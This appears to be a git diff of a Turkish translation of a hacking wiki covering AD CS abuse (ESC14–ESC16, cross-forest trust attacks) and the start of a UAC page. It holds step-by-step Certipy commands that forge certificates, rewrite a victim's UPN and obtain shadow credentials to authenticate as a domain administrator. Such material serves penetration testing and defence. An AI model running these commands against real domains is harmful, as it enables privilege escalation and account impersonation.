ilişkilendirme imkanı verir. Doldurulduğunda, bu açık eşlemeler genellikle sertifikanın SAN'ındaki UPN'lere veya DNS adlarına ya da `szOID_NTDS_CA_SECURITY_EXT` güvenlik uzantısında gömülü SID'e dayanan varsayılan sertifika eşleme mantığının önüne geçebilir. -"Zayıf" bir eşleme, `altSecurityIdentities` özniteliği içinde bir sertifikayı tanımlamak için kullanılan string değerin çok geniş, kolay tahmin edilebilir, benzersiz olmayan sertifika alanlarına dayanıyor olması veya kolayca taklit edilebilir sertifika bileşenleri kullanması durumunda ortaya çıkar. Bir saldırgan, ayrıcalıklı bir hesap için böyle zayıf tanımlanmış bir explicit eşlemeyle eşleşen bir sertifika elde edebilir veya oluşturabilirse, o sertifikayı hesabın kimliğini doğrulamak ve hesabı taklit etmek için kullanabilir. +Bir "zayıf" eşleme, `altSecurityIdentities` özniteliği içinde bir sertifikayı tanımlamak için kullanılan dize değeri çok geniş olduğunda, kolayca tahmin edilebilir olduğunda, benzersiz olmayan sertifika alanlarına dayandığında veya kolayca taklit edilebilen sertifika bileşenleri kullandığında ortaya çıkar. Bir saldırgan, ayrıcalıklı bir hesap için böyle zayıf tanımlanmış bir açık eşlemeyle eşleşen bir sertifika elde edebilirse veya oluşturabilirse, o hesabı doğrulamak ve taklit etmek için bu sertifikayı kullanabilir. -Potansiyel olarak zayıf `altSecurityIdentities` eşleme stringlerine örnekler: +Potansiyel olarak zayıf `altSecurityIdentities` eşleme dizelerine örnekler şunlardır: -- Sadece yaygın bir Subject Common Name (CN) ile eşleme yapmak: örn., `X509:CN=SomeUser`. Bir saldırgan bu CN'ye sahip bir sertifikayı daha az güvenli bir kaynaktan temin edebilir. -- Belirli bir seri numarası veya subject key identifier gibi daha fazla nitelendirme olmaksızın aşırı genel Issuer Distinguished Name (DN) veya Subject DN kullanmak: örn., `X509:CN=SomeInternalCACN=GenericUser`. -- Bir saldırganın meşru olarak elde edebileceği veya (eğer bir CA'yi ele geçirmişse veya ESC1'de olduğu gibi savunmasız bir şablon bulduysa) sahteleyebileceği diğer tahmin edilebilir kalıpları veya kriptografik olmayan tanımlayıcıları kullanmak. +- Sadece yaygın bir Subject Common Name (CN) ile eşleme: ör. `X509:CN=SomeUser`. Bir saldırgan bu CN'ye sahip bir sertifikayı daha az güvenli bir kaynaktan elde edebilir. +- Belirli bir seri numarası veya subject key identifier gibi ek nitelendirme olmadan aşırı genel Issuer Distinguished Name (DN) veya Subject DN kullanma: ör. `X509:CN=SomeInternalCACN=GenericUser`. +- Bir saldırganın meşru olarak elde edebileceği veya (bir CA'yı ele geçirdiyse veya ESC1'de olduğu gibi savunmasız bir şablon bulduysa) sahteleyebileceği sertifikada karşılayabileceği diğer öngörülebilir desenleri veya kriptografik olmayan tanımlayıcıları kullanma. -`altSecurityIdentities` özniteliği aşağıdaki gibi çeşitli eşleme formatlarını destekler: +`altSecurityIdentities` özniteliği şu gibi çeşitli eşleme formatlarını destekler: - `X509:IssuerDNSubjectDN` (tam Issuer ve Subject DN ile eşler) -- `X509:SubjectKeyIdentifier` (sertifikanın Subject Key Identifier uzantı değeriyle eşler) -- `X509:SerialNumberBackedByIssuerDN` (seri numarası ile eşler, dolaylı olarak Issuer DN ile nitelendirilir) - bu standart bir format değildir, genellikle `IssuerDNSerialNumber` şeklindedir. -- `X509:EmailAddress` (SAN içindeki RFC822 adı, tipik olarak bir e-posta adresi ile eşler) -- `X509:Thumbprint-of-Raw-PublicKey` (sertifikanın ham açık anahtarının SHA1 hash'i ile eşler - genel olarak güçlüdür) +- `X509:SubjectKeyIdentifier` (sertifikanın Subject Key Identifier uzantı değeri ile eşler) +- `X509:SerialNumberBackedByIssuerDN` (seri numarasına göre eşler, dolaylı olarak Issuer DN ile nitelendirilir) - bu standart bir format değildir, genellikle `IssuerDNSerialNumber` şeklindedir. +- `X509:EmailAddress` (SAN'dan genellikle bir e-posta adresi olan bir RFC822 adına göre eşler) +- `X509:Thumbprint-of-Raw-PublicKey` (sertifikanın ham açık anahtarının SHA1 karması ile eşler - genel olarak güçlü) -Bu eşlemelerin güvenliği, eşleme stringinde seçilen sertifika tanımlayıcılarının özgüllüğüne, benzersizliğine ve kriptografik gücüne büyük ölçüde bağlıdır. Domain Controller'larda güçlü sertifika bağlama modları etkin olsa bile (bunlar esasen SAN UPN/DNS ve SID uzantısına dayalı implicit eşlemeleri etkiler), kötü yapılandırılmış bir `altSecurityIdentities` girdisi eşleme mantığı kendisi hatalı veya çok izin verici ise doğrudan taklit için bir yol sunabilir. +Bu eşlemelerin güvenliği, eşleme dizesinde seçilen sertifika tanımlayıcılarının özgüllüğüne, benzersizliğine ve kriptografik gücüne büyük ölçüde bağlıdır. Domain Controller'larda güçlü sertifika bağlama modları etkin olsa bile (bunlar öncelikle SAN UPN/DNS ve SID uzantısına dayalı örtük eşlemeleri etkiler), zayıf yapılandırılmış bir `altSecurityIdentities` girdisi, eşleme mantığı kendisi hatalı veya çok izin verici ise yine de taklit için doğrudan bir yol sunabilir. ### Kötüye Kullanım Senaryosu -ESC14, Active Directory (AD) içindeki **explicit certificate mappings**'i, özellikle `altSecurityIdentities` özniteliğini hedef alır. Bu öznitelik ayarlanmışsa (tasarım gereği veya yanlış yapılandırma nedeniyle), saldırganlar eşleşen sertifikaları sunarak hesapları taklit edebilirler. +ESC14, Active Directory (AD) içindeki açık sertifika eşlemelerini, özel olarak `altSecurityIdentities` özniteliğini hedef alır. Bu öznitelik ayarlıysa (tasarım gereği veya yanlış yapılandırma sonucu), saldırganlar eşlemeyle uyuşan sertifikaları sunarak hesapları taklit edebilirler. -#### Senaryo A: Saldırgan `altSecurityIdentities` üzerine yazabilir +#### Senaryo A: Saldırgan `altSecurityIdentities` Üzerine Yazabilir -Önkoşul: Saldırganın hedef hesabın `altSecurityIdentities` özniteliğine yazma izinleri veya hedef AD nesnesi üzerinde aşağıdaki izinlerden biri şeklinde bu izni verebilme yetkisi vardır: +Önkoşul: Saldırganın hedef hesabın `altSecurityIdentities` özniteliğine yazma izinleri veya hedef AD nesnesi üzerinde aşağıdaki izinlerden birini verme izni bulunmaktadır: - Write property `altSecurityIdentities` - Write property `Public-Information` - Write property (all) @@ -726,19 +726,20 @@ ESC14, Active Directory (AD) içindeki **explicit certificate mappings**'i, öze - `GenericAll` - Owner*. -#### Senaryo B: Hedefin X509RFC822 (E-posta) üzerinden zayıf eşlemesi var +#### Senaryo B: Hedefin X509RFC822 (E-Posta) Yoluyla Zayıf Eşlemesi Var -- Önkoşul: Hedefin altSecurityIdentities içinde zayıf bir X509RFC822 eşlemesi vardır. Bir saldırgan, kurbanın mail özniteliğini hedefin X509RFC822 adına uydurabilir, kurban adına bir sertifika kaydettirebilir ve bu sertifikayı hedef gibi kimlik doğrulamak için kullanabilir. +- Önkoşul: Hedefin altSecurityIdentities içinde zayıf bir X509RFC822 eşlemesi vardır. Bir saldırgan, kurbanın mail özniteliğini hedefin X509RFC822 adıyla eşleşecek şekilde ayarlayabilir, kurban adına bir sertifika kaydettirebilir ve bu sertifikayı hedef olarak kimlik doğrulaması yapmak için kullanabilir. #### Senaryo C: Hedefin X509IssuerSubject Eşlemesi Var -- Önkoşul: Hedefin `altSecurityIdentities` içinde zayıf bir X509IssuerSubject explicit eşlemesi vardır. Saldırgan, kurban principal'in cn veya dNSHostName özniteliğini hedefin X509IssuerSubject eşlemesinin subject'ına uydurabilir. Ardından, saldırgan kurban adına bir sertifika kaydettirip bu sertifikayı kullanarak hedef olarak kimlik doğrulayabilir. +- Önkoşul: Hedefin `altSecurityIdentities` içinde zayıf bir X509IssuerSubject açık eşlemesi vardır. Saldırgan, kurban ilkesi üzerindeki `cn` veya `dNSHostName` özniteliğini hedefin X509IssuerSubject eşlemesinin subject'ı ile eşleşecek şekilde ayarlayabilir. Ardından saldırgan, kurban adına bir sertifika kaydettirip bu sertifikayı hedef olarak kimlik doğrulaması yapmak için kullanabilir. #### Senaryo D: Hedefin X509SubjectOnly Eşlemesi Var -- Önkoşul: Hedefin `altSecurityIdentities` içinde zayıf bir X509SubjectOnly explicit eşlemesi vardır. Saldırgan, kurban principal'in cn veya dNSHostName özniteliğini hedefin X509SubjectOnly eşlemesinin subject'ına uydurabilir. Ardından, saldırgan kurban adına bir sertifika kaydettirip bu sertifikayı kullanarak hedef olarak kimlik doğrulayabilir. +- Önkoşul: Hedefin `altSecurityIdentities` içinde zayıf bir X509SubjectOnly açık eşlemesi vardır. Saldırgan, kurban ilkesi üzerindeki `cn` veya `dNSHostName` özniteliğini hedefin X509SubjectOnly eşlemesinin subject'ı ile eşleşecek şekilde ayarlayabilir. Ardından saldırgan, kurban adına bir sertifika kaydettirip bu sertifikayı hedef olarak kimlik doğrulaması yapmak için kullanabilir. + +### somut işlemler -### Somut işlemler #### Senaryo A Sertifika şablonu `Machine` için bir sertifika talep edin. @@ -757,27 +758,27 @@ Temizlik (isteğe bağlı) ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -Daha spesifik saldırı yöntemleri ve farklı saldırı senaryoları için lütfen şu kaynağa bakın: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). +Daha spesifik saldırı yöntemleri için lütfen şu kaynağa bakın: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). -## EKUwu Uygulama Politikaları (CVE-2024-49019) - ESC15 +## EKUwu Uygulama Politikaları(CVE-2024-49019) - ESC15 ### Açıklama -https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc adresindeki açıklama son derece ayrıntılıdır. Aşağıda orijinal metinden bir alıntı yer almaktadır. +https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc adresindeki açıklama bir hayli ayrıntılıdır. Aşağıda orijinal metinden bir alıntı bulunmaktadır. -Dahili varsayılan sürüm 1 sertifika şablonlarını kullanarak, bir saldırgan şablonda belirtilen yapılandırılmış Extended Key Usage özniteliklerine göre daha tercih edilen uygulama politikalarını içerecek şekilde bir CSR hazırlayabilir. Tek gereksinim kayıt (enrollment) haklarıdır ve **_WebServer_** şablonunu kullanarak istemci kimlik doğrulama, sertifika talep aracısı ve kod imzalama sertifikaları oluşturmak için kullanılabilir. +Yerleşik varsayılan sürüm 1 sertifika şablonlarını kullanarak, bir saldırgan CSR'yi şablonda belirtilen yapılandırılmış Extended Key Usage özniteliklerinden daha tercih edilen uygulama politikalarını içerecek şekilde oluşturabilir. Tek gereksinim enrollment haklarıdır ve bu yöntem **_WebServer_** şablonu kullanılarak client authentication, certificate request agent ve codesigning sertifikaları üretmek için kullanılabilir. ### Kötüye Kullanım -Aşağıdaki referans [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Daha ayrıntılı kullanım yöntemleri için tıklayın. +Aşağıdakiler [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods. -Certipy'nin `find` komutu, CA yamalanmamışsa ESC15'e potansiyel olarak açık olabilecek V1 şablonlarını tespit etmeye yardımcı olabilir. +Certipy'nin `find` komutu, CA yamalanmamışsa ESC15'e potansiyel olarak açık olabilecek V1 şablonlarını belirlemeye yardımcı olabilir. ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` -#### Senaryo A: Direct Impersonation via Schannel +#### Senaryo A: Schannel aracılığıyla Doğrudan Taklit -**Adım 1: Bir sertifika talep edin, "Client Authentication" Application Policy ve hedef UPN'i enjekte ederek.** Saldırgan `attacker@corp.local`, "WebServer" V1 şablonunu (kaydolanın sağladığı subject'e izin veren) kullanarak `administrator@corp.local`'u hedef alır. +**Adım 1: Bir sertifika isteyin; "Client Authentication" Application Policy'sini ve hedef UPN'i enjekte ederek.** Saldırgan `attacker@corp.local` `administrator@corp.local`'ı, kayıt sahibinin sağladığı subject'e izin veren "WebServer" V1 şablonunu kullanarak hedef alır. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -786,17 +787,17 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: "Enrollee supplies subject" ayarına sahip kırılgan V1 şablonu. -- `-application-policies 'Client Authentication'`: CSR'nin Application Policies uzantısına OID `1.3.6.1.5.5.7.3.2` ekler. -- `-upn 'administrator@corp.local'`: Taklit amaçlı SAN içinde UPN'i ayarlar. +- `-template 'WebServer'`: Güvenlik açığı olan V1 şablonu; "Kayıt yapanın subject sağlaması". +- `-application-policies 'Client Authentication'`: CSR'nin Application Policies uzantısına OID `1.3.6.1.5.5.7.3.2`'yi ekler. +- `-upn 'administrator@corp.local'`: Kimlik taklidi için SAN'da UPN'i ayarlar. -**Adım 2: Elde edilen sertifika ile Schannel (LDAPS) üzerinden kimlik doğrulaması yapın.** +**Adım 2: Elde edilen sertifikayı kullanarak Schannel (LDAPS) üzerinden kimlik doğrulaması yapın.** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` #### Senaryo B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse -**Adım 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Bu sertifika, saldırganın (`attacker@corp.local`) enrollment agent olabilmesi içindir. Burada saldırganın kendi kimliği için herhangi bir UPN belirtilmemiştir, çünkü amaç ajan yeteneğidir. +**Adım 1: "Enrollee supplies subject" içeren bir V1 şablonundan sertifika talep edin ve "Certificate Request Agent" Application Policy'sini enjekte edin.** Bu sertifika, saldırganın (`attacker@corp.local`) bir enrollment agent olabilmesi içindir. Burada saldırganın kendi kimliği için herhangi bir UPN belirtilmez; amaç ajan yeteneğidir. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -804,9 +805,9 @@ certipy req \ -ca 'CORP-CA' -template 'WebServer' \ -application-policies 'Certificate Request Agent' ``` -- `-application-policies 'Certificate Request Agent'`: OID `1.3.6.1.4.1.311.20.2.1`'i enjekte eder. +- `-application-policies 'Certificate Request Agent'`: OID `1.3.6.1.4.1.311.20.2.1`'yi enjekte eder. -**Adım 2: Hedef ayrıcalıklı kullanıcı adına sertifika istemek için "agent" sertifikasını kullanın.** Bu, Adım 1'deki sertifikayı agent sertifikası olarak kullanan ESC3-benzeri bir adımdır. +**Adım 2: Hedef ayrıcalıklı bir kullanıcı adına sertifika talep etmek için "agent" sertifikasını kullanın.** Bu, Adım 1'deki sertifikayı "agent" sertifikası olarak kullanan ESC3-like bir adımdır. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -818,48 +819,48 @@ certipy req \ ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` -## Security Extension Disabled on CA (Globally)-ESC16 +## CA'da Güvenlik Uzantısı Devre Dışı (Genel)-ESC16 ### Açıklama -**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)**, AD CS yapılandırması tüm sertifikalara **szOID_NTDS_CA_SECURITY_EXT** uzantısının eklenmesini zorunlu kılmıyorsa, bir saldırganın bunu suistimal edebileceği durumu ifade eder. Bu suistimal şunları içerir: +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)**, AD CS konfigürasyonu tüm sertifikalara **szOID_NTDS_CA_SECURITY_EXT** uzantısının eklenmesini zorunlu kılmıyorsa, bir saldırganın bunu şu şekilde kötüye kullanabileceği senaryoya işaret eder: -1. **SID binding** olmadan bir sertifika talep etmek. +1. **SID binding olmadan** bir sertifika talep etmek. -2. Bu sertifikayı herhangi bir hesap olarak kimlik doğrulama için kullanmak; örneğin yüksek ayrıcalıklı bir hesabı (ör. bir Domain Administrator) taklit etmek. +2. Bu sertifikayı **herhangi bir hesap olarak kimlik doğrulaması için** kullanmak; örneğin yüksek ayrıcalıklı bir hesabı (ör. Domain Administrator) taklit etmek. Detaylı prensibi öğrenmek için şu makaleye de bakabilirsiniz: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 ### Kötüye Kullanım -Aşağıdakiler [bu bağlantıya](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally) dayanmaktadır; daha ayrıntılı kullanım yöntemlerini görmek için tıklayın. +Aşağıdakiler [bu linke](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally) referans verilmiştir. Daha ayrıntılı kullanım yöntemleri için tıklayın. Active Directory Certificate Services (AD CS) ortamının **ESC16**'ya karşı savunmasız olup olmadığını belirlemek için ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**Adım 1: Kurban hesabının ilk UPN'ini okuyun (İsteğe bağlı - geri yükleme için). +**Adım 1: Hedef hesabın ilk UPN'sini oku (İsteğe bağlı - geri yükleme için). ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -user 'victim' \ read ``` -**Adım 2: Kurban hesabın UPN'sini hedef yöneticinin `sAMAccountName` değeriyle güncelleyin.** +**Adım 2: Mağdur hesabın UPN'sini hedef yöneticinin `sAMAccountName` değeriyle güncelleyin.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**Adım 3: (Gerekirse) "victim" hesabının kimlik bilgilerini elde edin (ör. Shadow Credentials aracılığıyla).** +**Adım 3: (Gerekirse) "victim" hesabı için kimlik bilgilerini edinin (örn. Shadow Credentials ile).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**Adım 4: ESC16-vulnerable CA üzerinde "victim" kullanıcısı adına _any suitable client authentication template_ (ör. "User") üzerinden bir sertifika talep edin.** CA ESC16'ya karşı savunmasız olduğu için, şablonun bu uzantı için yaptığı özel ayarlara bakılmaksızın verilen sertifikadan SID security extension otomatik olarak çıkarılacaktır. Kerberos credential cache ortam değişkenini ayarlayın (shell komutu): +**Adım 4: ESC16-vulnerable CA üzerinde "victim" kullanıcısı olarak _any suitable client authentication template_ (ör. "User") üzerinden bir sertifika talep edin.** CA ESC16'e karşı savunmasız olduğu için, şablonun bu uzantı için belirli ayarlarına bakılmaksızın verilen sertifikadan otomatik olarak SID security extension'ı çıkaracaktır. Kerberos credential cache environment variable'ını ayarlayın (shell komutu): ```bash export KRB5CCNAME=victim.ccache ``` @@ -870,34 +871,32 @@ certipy req \ -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \ -template 'User' ``` -**Adım 5: "victim" hesabının UPN'sini eski haline getir.** +**Adım 5: "victim" hesabının UPN'sini eski haline döndür.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'victim@corp.local' \ -user 'victim' update ``` -**Adım 6: hedef yönetici olarak kimlik doğrulama.** +**Adım 6: Hedef yönetici olarak kimlik doğrulaması yapın.** ```bash certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## Sertifikalarla Ormanların Ele Geçirilmesi (Edilgen Anlatım) +## Sertifikalarla Forest'ların Ele Geçirilmesi — Edilgen Anlatımla Açıklama -### Ele Geçirilmiş CA'ların Orman Güvenlerini Bozması +### Compromised CA'lar Tarafından Forest Trust'larının Bozulması -Cross-forest enrollment yapılandırması nispeten basittir. Resource forest'tan gelen root CA certificate yöneticiler tarafından account forests'a yayınlanır ve resource forest'tan gelen enterprise CA sertifikaları her account forest'taki `NTAuthCertificates` ve AIA container'larına eklenir. Açıklamak gerekirse, bu düzenleme resource forest'taki CA'ya yönettiği PKI'ya ait tüm diğer forestlar üzerinde tam kontrol sağlar. Bu CA saldırganlar tarafından ele geçirilirse, resource ve account forest'lardaki tüm kullanıcılar için sertifikalar onlar tarafından sahte olarak düzenlenebilir ve böylece forest'un güvenlik sınırı kırılmış olur. +**cross-forest enrollment** yapılandırması nispeten basit hale getirilmiştir. Kaynak forest'taki **root CA certificate**, yöneticiler tarafından **published to the account forests** yapılır ve kaynak forest'taki **enterprise CA** sertifikaları her bir hesap forest'ına **added to the `NTAuthCertificates` and AIA containers in each account forest**. Açıklamak gerekirse, bu düzenleme yönettiği PKI için diğer tüm forest'lar üzerinde **CA in the resource forest complete control** yetkisini verir. Eğer bu CA **compromised by attackers** olursa, kaynak ve hesap forest'larındaki tüm kullanıcıların sertifikaları saldırganlar tarafından **forged by them** yapılabilir; böylece forest'un güvenlik sınırı ihlal edilmiş olur. -### Yabancı Principal'lere Verilen Enrollment Yetkileri +### Yabancı Principal'lara Verilen Enrollment Ayrıcalıkları -Çoklu-forest ortamlarında, Enterprise CAs tarafından yayınlanan ve **Authenticated Users veya foreign principals** (Enterprise CA'nın ait olduğu forest'ın dışındaki kullanıcı/gruplar) için **enrollment ve edit hakları** veren certificate templates konusunda dikkatli olunmalıdır.\ -Bir trust üzerinden kimlik doğrulaması yapıldığında, **Authenticated Users SID** AD tarafından kullanıcının token'ına eklenir. Bu nedenle, eğer bir domain'in Enterprise CA'sı Authenticated Users enrollment haklarını veren bir template'e sahipse, o template muhtemelen farklı bir forest'tan bir kullanıcı tarafından enroll edilebilir. Benzer şekilde, eğer bir template açıkça bir foreign principal'e enrollment hakları veriyorsa, bu durum bir cross-forest access-control relationship oluşturur ve bir forest'taki bir principal'ın diğer forest'taki bir template'i enroll etmesine izin verir. +Çoklu-forest ortamlarında, Enterprise CAs tarafından **publish certificate templates** yapılan ve **Authenticated Users or foreign principals** (Enterprise CA'nın ait olduğu forest'ın dışındaki kullanıcılar/gruplar) için **enrollment and edit rights** veren şablonlara karşı dikkatli olunmalıdır. Bir trust üzerinden kimlik doğrulaması yapıldığında, AD tarafından kullanıcının token'ına **Authenticated Users SID** eklenir. Bu nedenle, eğer bir domain Enterprise CA'ya sahip ve bir şablon **allows Authenticated Users enrollment rights** ise, farklı bir forest'tan bir kullanıcı bu şablonu **enrolled in by a user from a different forest** yapabilir. Benzer şekilde, eğer bir şablon tarafından bir yabancı principal'a **enrollment rights are explicitly granted to a foreign principal by a template** verilmişse, bu durumda bir **cross-forest access-control relationship is thereby created** oluşturulur ve bir forest'taki principal başka bir forest'taki bir şablona **enroll in a template from another forest** yapabilir. -Her iki senaryo da bir forest'tan diğerine doğru attack surface'ın artmasına yol açar. Certificate template ayarları bir saldırgan tarafından kullanılarak yabancı bir domain'de ek ayrıcalıklar elde edilebilir. +Her iki senaryo da bir forest'tan diğerine doğru **increase in the attack surface** ile sonuçlanır. Sertifika şablonunun ayarları, bir saldırgan tarafından yabancı bir domain'de ek ayrıcalıklar elde etmek için istismar edilebilir. - -## References +## Referanslar - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) - [GhostPack/Certify](https://github.com/GhostPack/Certify) diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index c8f20dcdf..ed828bb79 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -1,47 +1,48 @@ -# UAC - Kullanıcı Hesap Denetimi +# UAC - Kullanıcı Hesabı Denetimi {{#include ../../banners/hacktricks-training.md}} ## UAC -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) bir uygulamadır ve **yükseltilmiş işlemler için onay istemi** sağlar. Uygulamaların farklı `integrity` seviyeleri vardır ve **yüksek seviye** bir program sisteme **potansiyel olarak zarar verebilecek** görevleri gerçekleştirebilir. UAC etkin olduğunda, bir yönetici açıkça bu uygulama/görevlere yönetici düzeyinde erişim yetkisi vermedikçe uygulamalar ve görevler her zaman **bir yönetici olmayan hesabın güvenlik bağlamı altında** çalışır. Bu, yöneticileri istem dışı değişikliklerden koruyan bir kolaylık özelliğidir ancak bir güvenlik sınırı olarak kabul edilmez. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) özelliği, **yükseltilmiş işlemler için onay istemi** sağlar. Uygulamaların farklı `integrity` seviyeleri vardır ve **yüksek seviyede** bir program **sistemi potansiyel olarak tehlikeye atabilecek** görevleri gerçekleştirebilir. UAC etkin olduğunda, bir yönetici bu uygulama/görevlerin sistemde yönetici düzeyinde çalışmasına açıkça izin vermedikçe, uygulamalar ve görevler her zaman **yönetici olmayan bir hesabın güvenlik bağlamı altında çalışır**. Bu, yöneticileri istem dışı değişikliklerden koruyan bir kolaylık özelliğidir; ancak bir güvenlik sınırı olarak kabul edilmez. + +integrity seviyeleri hakkında daha fazla bilgi için: -Daha fazla bilgi için integrity seviyeleri hakkında: {{#ref}} ../windows-local-privilege-escalation/integrity-levels.md {{#endref}} -UAC etkin olduğunda, bir yönetici kullanıcıya 2 token verilir: normal işlemler için standart bir kullanıcı token'ı ve yönetici ayrıcalıkları içeren bir token. +UAC etkin olduğunda, bir yönetici kullanıcıya 2 token verilir: normal düzeyde işlemler yapmak için bir standart kullanıcı token'ı ve yönetici ayrıcalıklarını içeren bir token. -Bu [sayfa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) UAC'nin nasıl çalıştığını derinlemesine tartışır ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içerir. Yöneticiler, UAC'nin kuruluşlarına özel nasıl çalışacağını yerel düzeyde güvenlik ilkeleriyle (secpol.msc kullanarak) yapılandırabilir veya Active Directory alan ortamında Group Policy Objects (GPO) aracılığıyla dağıtabilir. Çeşitli ayarlar [burada](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) ayrıntılı olarak tartışılmaktadır. UAC için ayarlanabilecek 10 Grup İlkesi ayarı vardır. Aşağıdaki tablo ek ayrıntı sağlar: +This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) UAC'nin nasıl çalıştığını ayrıntılı olarak açıklar ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içerir. Yöneticiler, UAC'nin kuruluşlarına özgü nasıl çalışacağını yerel düzeyde yapılandırmak için güvenlik politikalarını (secpol.msc kullanarak) kullanabilir veya Active Directory alanı ortamında Group Policy Objects (GPO) aracılığıyla yapılandırıp dağıtabilir. Çeşitli ayarlar detaylı olarak [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) üzerinde tartışılmıştır. UAC için ayarlanabilecek 10 Group Policy ayarı vardır. Aşağıdaki tablo ek ayrıntı sağlar: -| Grup İlkesi Ayarı | Registry Key | Varsayılan Ayar | -| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | -| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Devre Dışı | -| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Devre Dışı | -| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Windows dışı ikili dosyalar için onay istenir | -| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Güvenli masaüstünde kimlik bilgileri istenir | -| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Etkin (ev için varsayılan) / Devre Dışı (kurumsal için varsayılan) | -| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Devre Dışı | -| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Etkin | -| [User Account Control: Run all administrators in Admin Approval 